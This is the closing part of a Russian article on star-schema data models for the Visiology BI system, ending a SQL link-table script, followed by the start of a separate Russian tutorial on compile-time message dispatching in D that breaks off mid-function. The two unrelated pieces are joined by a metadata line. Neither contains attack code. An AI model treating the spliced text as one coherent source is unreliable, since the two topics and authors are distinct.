FROM "Visiology_DM_Users_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Companies_JOIN";
CREATE TABLE "Visiology_DM_Companies_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Companies_LINK_BLOCK" LEFT JOIN "Visiology_DM_Companies_LINK_RESTORE_PART" USING ("USR__User_ID");
DROP TABLE IF EXISTS "Visiology_DM_Companies_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Companies_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Companies_JOIN" RENAME TO "Visiology_DM_Companies_LINK_BLOCK";
--Link restoration for Contacts from Companies, level 1
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Contacts_LINK_RESTORE_PART" AS SELECT DISTINCT
"COM__Company_ID",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Companies_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Contacts_JOIN";
CREATE TABLE "Visiology_DM_Contacts_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Contacts_LINK_BLOCK" LEFT JOIN "Visiology_DM_Contacts_LINK_RESTORE_PART" USING ("COM__Company_ID");
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Contacts_JOIN" RENAME TO "Visiology_DM_Contacts_LINK_BLOCK";
--Link restoration for Contacts from Users, level 2
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Contacts_LINK_RESTORE_PART" AS SELECT DISTINCT
"USR__User_ID",
"REG__Region_ID", "REG__Region_ID_TYPE"
FROM "Visiology_DM_Users_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Contacts_JOIN";
CREATE TABLE "Visiology_DM_Contacts_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Contacts_LINK_BLOCK" LEFT JOIN "Visiology_DM_Contacts_LINK_RESTORE_PART" USING ("USR__User_ID");
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Contacts_JOIN" RENAME TO "Visiology_DM_Contacts_LINK_BLOCK";
--Link restoration for Sales from Contacts, level 1
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Sales_LINK_RESTORE_PART" AS SELECT DISTINCT
"CON__Contact_ID",
"COM__Company_ID", "COM__Company_ID_TYPE"
FROM "Visiology_DM_Contacts_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_JOIN";
CREATE TABLE "Visiology_DM_Sales_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Sales_LINK_BLOCK" LEFT JOIN "Visiology_DM_Sales_LINK_RESTORE_PART" USING ("CON__Contact_ID");
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Sales_JOIN" RENAME TO "Visiology_DM_Sales_LINK_BLOCK";
--Link restoration for Sales from Products, level 1
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Sales_LINK_RESTORE_PART" AS SELECT DISTINCT
"PRD__Product_ID",
"CAT__Category_ID", "CAT__Category_ID_TYPE"
FROM "Visiology_DM_Products_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_JOIN";
CREATE TABLE "Visiology_DM_Sales_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Sales_LINK_BLOCK" LEFT JOIN "Visiology_DM_Sales_LINK_RESTORE_PART" USING ("PRD__Product_ID");
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Sales_JOIN" RENAME TO "Visiology_DM_Sales_LINK_BLOCK";
--Link restoration for Sales from Users, level 1
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Sales_LINK_RESTORE_PART" AS SELECT DISTINCT
"USR__User_ID",
"REG__Region_ID", "REG__Region_ID_TYPE"
FROM "Visiology_DM_Users_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_JOIN";
CREATE TABLE "Visiology_DM_Sales_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Sales_LINK_BLOCK" LEFT JOIN "Visiology_DM_Sales_LINK_RESTORE_PART" USING ("USR__User_ID");
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Sales_JOIN" RENAME TO "Visiology_DM_Sales_LINK_BLOCK";
--Link restoration for Sales from Companies, level 2
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Sales_LINK_RESTORE_PART" AS SELECT DISTINCT
"COM__Company_ID",
"REGC__Region_ID", "REGC__Region_ID_TYPE"
FROM "Visiology_DM_Companies_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_JOIN";
CREATE TABLE "Visiology_DM_Sales_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Sales_LINK_BLOCK" LEFT JOIN "Visiology_DM_Sales_LINK_RESTORE_PART" USING ("COM__Company_ID");
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Sales_JOIN" RENAME TO "Visiology_DM_Sales_LINK_BLOCK";
--Link restoration for Sales_plan from Users, level 1
DROP TABLE IF EXISTS "Visiology_DM_Sales_plan_LINK_RESTORE_PART";
CREATE TABLE "Visiology_DM_Sales_plan_LINK_RESTORE_PART" AS SELECT DISTINCT
"USR__User_ID",
"REG__Region_ID", "REG__Region_ID_TYPE"
FROM "Visiology_DM_Users_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_plan_JOIN";
CREATE TABLE "Visiology_DM_Sales_plan_JOIN" AS SELECT DISTINCT *
FROM "Visiology_DM_Sales_plan_LINK_BLOCK" LEFT JOIN "Visiology_DM_Sales_plan_LINK_RESTORE_PART" USING ("USR__User_ID");
DROP TABLE IF EXISTS "Visiology_DM_Sales_plan_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_plan_LINK_RESTORE_PART";
ALTER TABLE "Visiology_DM_Sales_plan_JOIN" RENAME TO "Visiology_DM_Sales_plan_LINK_BLOCK";
--Link Table finalization
--Creating empty Link Table with full associations set
---Preparing associations sample blocks
DROP TABLE IF EXISTS "Categories_ASSOC_SET";
CREATE TABLE "Categories_ASSOC_SET" AS SELECT
"DM_Entity",
"CAT__Category_ID", "CAT__Category_ID_TYPE"
FROM "Visiology_DM_Categories_LINK_BLOCK" LIMIT 0;
DROP TABLE IF EXISTS "Companies_ASSOC_SET";
CREATE TABLE "Companies_ASSOC_SET" AS SELECT
"DM_Entity",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Companies_LINK_BLOCK" LIMIT 0;
DROP TABLE IF EXISTS "Contacts_ASSOC_SET";
CREATE TABLE "Contacts_ASSOC_SET" AS SELECT
"DM_Entity",
"COM__Company_ID", "COM__Company_ID_TYPE",
"CON__Contact_ID", "CON__Contact_ID_TYPE"
FROM "Visiology_DM_Contacts_LINK_BLOCK" LIMIT 0;
DROP TABLE IF EXISTS "Products_ASSOC_SET";
CREATE TABLE "Products_ASSOC_SET" AS SELECT
"DM_Entity",
"PRD__Product_ID", "PRD__Product_ID_TYPE"
FROM "Visiology_DM_Products_LINK_BLOCK" LIMIT 0;
DROP TABLE IF EXISTS "Regions_ASSOC_SET";
CREATE TABLE "Regions_ASSOC_SET" AS SELECT
"DM_Entity",
"REG__Region_ID", "REG__Region_ID_TYPE"
FROM "Visiology_DM_Regions_LINK_BLOCK" LIMIT 0;
DROP TABLE IF EXISTS "Sales_ASSOC_SET";
CREATE TABLE "Sales_ASSOC_SET" AS SELECT
"DM_Entity",
"DATE", "DATE_TYPE",
"SLS__Sales_Comp_Key", "SLS__Sales_Comp_Key_TYPE"
FROM "Visiology_DM_Sales_LINK_BLOCK" LIMIT 0;
DROP TABLE IF EXISTS "Sales_plan_ASSOC_SET";
CREATE TABLE "Sales_plan_ASSOC_SET" AS SELECT
"DM_Entity",
"PLN__Plan_Comp_Key", "PLN__Plan_Comp_Key_TYPE"
FROM "Visiology_DM_Sales_plan_LINK_BLOCK" LIMIT 0;
---Joining all blocks to single table
DROP TABLE IF EXISTS "Visiology_DM_LINK_TABLE_TMP";
CREATE TABLE "Visiology_DM_LINK_TABLE_TMP"AS SELECT * FROM "Categories_ASSOC_SET"
LEFT JOIN "Contacts_ASSOC_SET" USING ("DM_Entity")
LEFT JOIN "Sales_ASSOC_SET" USING ("DM_Entity")
LEFT JOIN "Sales_plan_ASSOC_SET" USING ("DM_Entity")
LEFT JOIN "Products_ASSOC_SET" USING ("DM_Entity")
LEFT JOIN "Companies_ASSOC_SET" USING ("DM_Entity")
LEFT JOIN "Regions_ASSOC_SET" USING ("DM_Entity");
---Droping associations blocks
DROP TABLE IF EXISTS "Categories_ASSOC_SET";
DROP TABLE IF EXISTS "Contacts_ASSOC_SET";
DROP TABLE IF EXISTS "Sales_ASSOC_SET";
DROP TABLE IF EXISTS "Sales_plan_ASSOC_SET";
DROP TABLE IF EXISTS "Products_ASSOC_SET";
DROP TABLE IF EXISTS "Companies_ASSOC_SET";
DROP TABLE IF EXISTS "Regions_ASSOC_SET";
DROP TABLE IF EXISTS "Visiology_DM_LINK_TABLE";
CREATE TABLE "Visiology_DM_LINK_TABLE" AS SELECT
"DM_Entity",
"CAT__Category_ID", "CAT__Category_ID_TYPE",
"COM__Company_ID", "COM__Company_ID_TYPE",
"CON__Contact_ID", "CON__Contact_ID_TYPE",
"DATE", "DATE_TYPE",
"PLN__Plan_Comp_Key", "PLN__Plan_Comp_Key_TYPE",
"PRD__Product_ID", "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
"SLS__Sales_Comp_Key", "SLS__Sales_Comp_Key_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_LINK_TABLE_TMP"
UNION SELECT
"DM_Entity",
"CAT__Category_ID", "CAT__Category_ID_TYPE",
null as "COM__Company_ID", null as "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
null as "REG__Region_ID", null as "REG__Region_ID_TYPE",
null as "REGC__Region_ID", null as "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
null as "USR__User_ID", null as "USR__User_ID_TYPE"
FROM "Visiology_DM_Categories_LINK_BLOCK"
UNION SELECT
"DM_Entity",
null as "CAT__Category_ID", null as "CAT__Category_ID_TYPE",
"COM__Company_ID", "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Companies_LINK_BLOCK"
UNION SELECT
"DM_Entity",
null as "CAT__Category_ID", null as "CAT__Category_ID_TYPE",
"COM__Company_ID", "COM__Company_ID_TYPE",
"CON__Contact_ID", "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Contacts_LINK_BLOCK"
UNION SELECT
"DM_Entity",
"CAT__Category_ID", "CAT__Category_ID_TYPE",
null as "COM__Company_ID", null as "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
"PRD__Product_ID", "PRD__Product_ID_TYPE",
null as "REG__Region_ID", null as "REG__Region_ID_TYPE",
null as "REGC__Region_ID", null as "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
null as "USR__User_ID", null as "USR__User_ID_TYPE"
FROM "Visiology_DM_Products_LINK_BLOCK"
UNION SELECT
"DM_Entity",
null as "CAT__Category_ID", null as "CAT__Category_ID_TYPE",
null as "COM__Company_ID", null as "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
null as "REGC__Region_ID", null as "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
null as "USR__User_ID", null as "USR__User_ID_TYPE"
FROM "Visiology_DM_Regions_LINK_BLOCK"
UNION SELECT
"DM_Entity",
null as "CAT__Category_ID", null as "CAT__Category_ID_TYPE",
null as "COM__Company_ID", null as "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
null as "REG__Region_ID", null as "REG__Region_ID_TYPE",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
null as "USR__User_ID", null as "USR__User_ID_TYPE"
FROM "Visiology_DM_Regions_for_companies_LINK_BLOCK"
UNION SELECT
"DM_Entity",
"CAT__Category_ID", "CAT__Category_ID_TYPE",
"COM__Company_ID", "COM__Company_ID_TYPE",
"CON__Contact_ID", "CON__Contact_ID_TYPE",
"DATE", "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
"PRD__Product_ID", "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
"REGC__Region_ID", "REGC__Region_ID_TYPE",
"SLS__Sales_Comp_Key", "SLS__Sales_Comp_Key_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Sales_LINK_BLOCK"
UNION SELECT
"DM_Entity",
null as "CAT__Category_ID", null as "CAT__Category_ID_TYPE",
null as "COM__Company_ID", null as "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
"DATE", "DATE_TYPE",
"PLN__Plan_Comp_Key", "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
null as "REGC__Region_ID", null as "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Sales_plan_LINK_BLOCK"
UNION SELECT
"DM_Entity",
null as "CAT__Category_ID", null as "CAT__Category_ID_TYPE",
null as "COM__Company_ID", null as "COM__Company_ID_TYPE",
null as "CON__Contact_ID", null as "CON__Contact_ID_TYPE",
null as "DATE", null as "DATE_TYPE",
null as "PLN__Plan_Comp_Key", null as "PLN__Plan_Comp_Key_TYPE",
null as "PRD__Product_ID", null as "PRD__Product_ID_TYPE",
"REG__Region_ID", "REG__Region_ID_TYPE",
null as "REGC__Region_ID", null as "REGC__Region_ID_TYPE",
null as "SLS__Sales_Comp_Key", null as "SLS__Sales_Comp_Key_TYPE",
"USR__User_ID", "USR__User_ID_TYPE"
FROM "Visiology_DM_Users_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_LINK_TABLE_TMP";
---Droping of link blocks
DROP TABLE IF EXISTS "Visiology_DM_Contacts_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Companies_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Categories_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Products_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Regions_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Users_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Regions_for_companies_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_LINK_BLOCK";
DROP TABLE IF EXISTS "Visiology_DM_Sales_plan_LINK_BLOCK";
--Measures join
--- Creating measures table
DROP TABLE IF EXISTS "Sales_MEASURES";
CREATE TABLE "Sales_MEASURES" AS SELECT
"SLS__Sales_Comp_Key",
"SLS__Sales_Sum_VAT",
"SLS__Cost_Sum_VAT",
"SLS__Amount" FROM "Sales";
DROP TABLE IF EXISTS "Sales_plan_MEASURES";
CREATE TABLE "Sales_plan_MEASURES" AS SELECT
"PLN__Plan_Comp_Key",
"PLN__Sales_plan" FROM "Sales_plan";
--- Joining measures table
DROP TABLE IF EXISTS "Visiology_DM_LINK_TABLE_JOIN";
CREATE TABLE "Visiology_DM_LINK_TABLE_JOIN" AS SELECT * FROM "Visiology_DM_LINK_TABLE"
LEFT JOIN "Sales_MEASURES" USING ("SLS__Sales_Comp_Key")
LEFT JOIN "Sales_plan_MEASURES" USING ("PLN__Plan_Comp_Key");
DROP TABLE IF EXISTS "Visiology_DM_LINK_TABLE";
ALTER TABLE "Visiology_DM_LINK_TABLE_JOIN" RENAME TO "Visiology_DM_LINK_TABLE";
--- Droping measures table
DROP TABLE IF EXISTS "Sales_MEASURES";
DROP TABLE IF EXISTS "Sales_plan_MEASURES";
```
### Заключение
По мере углубления практик BI использование такой модели данных как “Звезда” становится обязательным, если вы хотите сохранить гибкость. Да, некоторые западные BI-системы (например, PowerBI) позволяли вообще не задумываться в моменте о модели данных, но это только усугубляло положение аналитика с ростом количества таблиц. Теперь же правильный подход к архитектуре становится необходимым для того, чтобы продолжить работу с аналитикой на базе российских решений. А в дополнение к совместимости он обеспечивает снижение сложности в работе с моделями данных и требований к системным ресурсам серверов, на которых все это крутится.
*На изображении видно, что при работе со “Звездой” формулы показателей становятся одинаковыми во всех системах (тут — Visiology, Qlik и даже просто Excel)*
Впрочем, мы неслучайно стали использовать эту мо практически повсеместно. Переход на “Звезду”, как показывает моя практика, оказывается полезен в самых разных случаях:
* **Если вы аналитик одиночка, на котором висит вообще все или когда команда BI совсем небольшая.** Правильно организованная модель данных позволяет решать BI-задачи сразу, здесь и сейчас. А обычно именно этого и хочет руководство. При переходе к “Звезде” фактически получается “аналитический вездеход”, который повышает вашу ценность как специалиста…то есть теперь уже владельца владельцем единого аналитического сервиса. :)
* **Если вы работаете проектной командой.** Организовать конвейер бизнес-аналитики становится проще. Облегчаются процессы поддержки, сопровождение становится предсказуемым. Все это помогает снизить риски текучки кадров, а также уронить порог входа в разработку продвинутой аналитики для новичков.
* **Управляемый self-service.** Вы понимаете, что нужно дать пользователям самостоятельно исследовать данные не только в готовых отчетах, но и за счет создания своих новых. Это можно делать даже в разных инструментах. Но главное, что с автоматическим соблюдением стандартов работы с данными подобная практика становится намного проще, чем с бесконечными нотациями и документациями.
* **Для развития.** Даже те, у кого все хорошо с лицензиями, возникают задачи расширения аналитики, а значит — достижения нового уровня целостности всей экосистемы. И здесь универсальная организация модели данных также оказывается крайне полезна.
Если у вас остались вопросы, как именно перейти в “Звезде” и что для этого нужно в вашей ситуации, задавайте их в комментариях или личных сообщениях. Буду рад ответить.
А в следующем посте я подробнее расскажу о том, как именно мы собрали рабочий комплект BI-экосистемы на базе Loginom, Postgres и Visiology, разумеется, используя “Звезду” как опорную модель данных. | https://habr.com/ru/post/678346/ | null | ru | null |
# Message dispatching на D
Многие разработчики игр сталкиваются с проблемой описания и реализации протокола общения клиента и сервера, особенно если пишут свои велосипеды для работы с сокетами. Ниже я расскажу о моей попытке решить задачу как можно элегантнее и удобнее для дальнейшего использования и масштабирования приложения. Будет много compile-time'a с автоматической кодогенерацией, нежно приправленный щепоткой run-time'a.
#### Постановка задачи
Клиент и сервер постоянно перекидываются сообщениями, но эти сообщения нужно сначала подготовить, переслать и потом восстановить в читаемый вид. Краткая cхемка ниже:
Главная проблема возникает между этапом чтения сообщения и десериализацией, к получателю приходит поток байтов, а для корректной десериализации нужно знать структуру сообщения, то есть тип. Все операции над типами завершились в compile-time и у нас больше нет помощи компилятора. Самое первое, самое брутальное решение, которое приходит на ум, это написать огромный switch, связывающий id сообщения и конкретную функции для распаковки сообщения. Думаю, не надо объяснять почему это решение приводит к головной боли при переработке протокола и огромному числу сложно обнаруживаемых ошибок. Эту проблему и будем решать.
Для начала необходимо определить, что же хотим получить:
* Один раз связать id сообщения и конкретный класс-обработчик сообщения. И все, больше никогда не вспоминать далее про id. Примерно таким образом:
`0 AMessage
1 BMessage
2 CMessage`
* Корректно обрабатывать ошибки использования и пресекать попытки испортить код еще на этапе компиляции. Например, в C++ практически невозможно добиться вывода понятных сообщений об ошибках, когда имеешь дело с compile-time структурами.
* Простое использование, один вызов функции и поток байтов превратился в готовое к обработке сообщение.
#### Зависимости
В нашем проекте используется собственный сериализатор, тоже активно использующий compile-time (Это тема для отдельного поста). Договоримся, что у нас есть некий черный ящик, который умеет переводить классы и их поля в байты и обратно вот такими вызовами:
```
auto stream = serialize!(ByteBackend)(SomeObject, "name");
auto object = deserialize!(ByteBackend, SomeClass)(stream, "name");
```
Также для простоты изложения будем наивно предполагать, что сообщения не шифруются и все проблемы безопасности решает сериализатор, если сообщение не совпадает с заявленной структурой, кидается исключение, и мы игнорируем проблемное сообщение.
Весь код, который пойдет дальше тестировался на dmd 2.060 и на 2.059 наверно уже не скомпилируется (очень неприятная детская болезнь D2).
#### Сообщения
Каждое сообщение — это некий класс, у которого перегружен функциональный оператор и есть конструктор без параметров (требование для десериализации). Первое требование легко формализовать, любое сообщение должно реализовывать вот такой интерфейс:
**Код**
```
interface Message
{
void opCall();
}
```
Пример сообщения:
```
class AMsg : Message
{
int a;
string b;
this() {}
this(int pa, string pb)
{
a = pa;
b = pb;
}
void opCall()
{
writeln("AMsg call with ", a, " ", b);
}
}
```
Второй конструктор нужен для сборки сообщения, об этом и о проверке наличия конструктора без параметров ниже.
#### Начинаем творить магию
В C++ я бы использовал много-много структур с шаблонно шаблонными параметрами, но в D есть и другие способы исполнять код в compile-time. Я буду использовать шаблоны и mixin'ы, чтобы как можно меньше compile-time кода осело в исполняемом файле. Итого весь код будет находится в template mixin, его можно будет легко использовать снова в другом приложении или в другой версии этого же.
```
mixin template ProtocolPool(IndexType, SerializerBackend, pairs...)
{
}
```
**IndexType** — это тип индекса, который мы будем использовать. **SerializerBackend** — бекэнд для сериализатора, вполне возможно, что для другого приложения будет использоваться другой механизм сериализации в байты или, даже, не в байты, а xml/json.
**pairs...** — Самый интересный параметр, тут будут записаны пары: id и тип сообщения. Пример ниже:
```
mixin ProtocolPool!(int, BinaryBackend,
0, AMsg,
1, BMsg,
2, CMsg
);
```
##### Обработка ошибок
Но пользователь может запихнуть в pairs что угодно, нарушить это хрупкое соглашение, и тогда проблемы не заставят себя ждать. Нужно проверять корректность. Поэтому вставим в шаблон еще один шаблон, который будет пробегать по парам и останавливать компиляцию с красивым и понятным сообщением об ошибке.
**Код**
```
template CheckPairs(tpairs...)
{
static if(tpairs.length > 1)
{
static assert(__traits(compiles, typeof(tpairs) ),
"ProtocolPool expected index first, but got some type");
static assert(is(typeof(tpairs[0]) == IndexType),
"ProtocolPool expected index first of type "~
IndexType.stringof~
" not a "~typeof(tpairs[0]).stringof);
static assert(is(tpairs[1] : Message),
"ProtocolPool expected class implementing Message"~
" interface following index not a "~tpairs[1].stringof);
static assert(CountValInList!(tpairs[0], pairs) == 1,
"ProtocolPool indexes must be unique! One message,"~
"one index.");
enum CheckPairs = CheckPairs!(tpairs[2..$]);
}
else
{
static assert(tpairs.length == 0,
"ProtocolPool expected even number of parameters. Index and message type.");
enum CheckPairs = 0;
}
}
```
Тут могут быть непонятны вызовы **\_\_traits(compiles, sometext)**, это явный запрос компилятору проверить, компилируются ли sometext вообще или нет. Про встроенные Traits можно подробнее почитать [здесь](http://dlang.org/traits.html). И сразу после объявления шаблона, вызываем его через **static assert**. Можно было бы просто вызвать этот шаблон, но компилятор ругается на явно бессмысленные выражения, что иногда немного мешает.
**Код**
```
mixin template ProtocolPool(IndexType, SerializerBackend, pairs...)
{
template CheckPairs(tpairs...)
{
// скрыл, чтобы не мешало
}
static assert(CheckPairs!pairs == 0,
"Parameters check failed! If code works well, you never will see this message!");
}
```
Внимательный читатель (если вообще кто-нибудь добрался до этой строчки) наверняка заметил, что я не дал определение шаблону **CountValInList**, который считает число вхождений значения в список.
**Код**
```
// returns count of val occurenes in list
template CountValInList(IndexType val, list...)
{
static if(list.length > 1)
{
static if(list[0] == val)
enum CountValInList = 1 + CountValInList!(val, list[2..$]);
else
enum CountValInList = CountValInList!(val, list[2..$]);
}
else
enum CountValInList = 0;
}
```
##### Кодогенерация
Отлично, все неправильные использования отсечены и правильно обработаны. По таким сообщениям об ошибках вполне можно найти правильный способ использования методом научного тыка (от написания документации это не спасет!). Теперь нужно подумать о самой задаче. Нам нужен компромисс между удобством использования и скоростью работы, стоп, мы можем получить и то и то одновременно! Мы будем генерировать гигантский switch автоматически без участия программиста:
**Код**
```
// generating switch
template GenerateSwitch()
{
template GenerateSwitchBody(tpairs...)
{
static if(tpairs.length > 0)
{
enum GenerateSwitchBody =
"case("~to!string(tpairs[0])~
"): return cast(Message)(func!(SerializerBackend, "~
tpairs[1].stringof~")(args)); break; \n" ~
GenerateSwitchBody!(tpairs[2..$]);
}
else
enum GenerateSwitchBody = "";
}
enum GenerateSwitch = "switch(id)\n{\n"~
GenerateSwitchBody!(pairs) ~ "default: " ~
" break;\n}";
}
```
Этот шаблон будет генерировать строку, похожую на эту:
**Код**
```
switch(id)
{
case(0): return cast(Message)(func!(SerializerBackend, AMsg)(args)); break;
case(1): return cast(Message)(func!(SerializerBackend, BMsg)(args)); break;
case(2): return cast(Message)(func!(SerializerBackend, CMsg)(args)); break;
default: break;
}
```
Теперь осталось подмешать полученную строку в функцию для диспетчиризации:
**Код**
```
// С радостью поместил бы эту затычку внутрь функции, но мой сериализатор не увидит nested class и выдаст ошибку, поэтому польза от проверки нивелируется
private class dummyClass {}
// func - это функция, которая будет вызвана внутри сгенеренного свитча с аргументами args и типом сообщения
Message dispatchMessage(alias func, T...)(IndexType id, T args)
{
static assert(__traits(compiles,
func!(SerializerBackend, dummyClass)(args)),
"ChooseMessage func must be callable with got args "
~T.stringof);
// можно распечатать, чтобы убедиться в правильности генерации
//pragma(msg, GenerateSwitch!());
mixin(GenerateSwitch!());
throw new Exception(
"Cannot find corresponding message for id "~to!string(id)~"!");
}
```
Как будет выглядеть вызов этой функции в коде:
**Код**
```
void readMsg(Stream stream)
{
int id;
stream.read(id);
writeln("Got message id is ",id);
auto message = dispatchMessage!(deserialize)(id, stream, "MSG");
writeln("Calling message");
message();
}
```
Собственно самая сложная часть написана, остались только всякие вкусности для удобного конструирования сообщения. Никто же не хочет делать это вручную?! Гораздо удобнее делать это так:
```
auto stream = constructMessage!AMsg(10, "Hello World!");
```
Никаких id, никаких других лишних вещей. Параметры сразу передадутся конструктору сообщения, и сообщение сериализируется в поток байтов. Осталось это написать… Нужно уметь искать id сообщения по типу, для этого нужен еще один шаблончик:
**Код**
```
template FindMessageId(Msg, tpairs...)
{
static if(tpairs.length > 0)
{
static if(is(tpairs[1] == Msg))
enum FindMessageId = tpairs[0];
else
enum FindMessageId =
FindMessageId!(Msg, tpairs[2..$]);
} else
static assert(false, "Cannot find id for message "~
Msg.stringof~". Check protocol list.");
}
```
К этому моменту у моей крохотной по числу публики должна возникнуть мысль, что я страдаю манией к функциональному программированию. Я уважаю все парадигмы, но в compile-time шаблонах нету никакого mutable состояния, поэтому тут естественным образом возникает функциональный стиль. Теперь не составит труда сконструировать сообщение, зная только его тип:
**Код**
```
Stream constructMessage(Msg, T...)(T args)
{
static assert(is(Msg : Message), Msg.stringof~
" must implement Message interface!");
static assert(__traits(compiles, new Msg(args)), Msg.stringof~
" should implement constructor with formal parameters "~
T.stringof);
auto msg = new Msg(args);
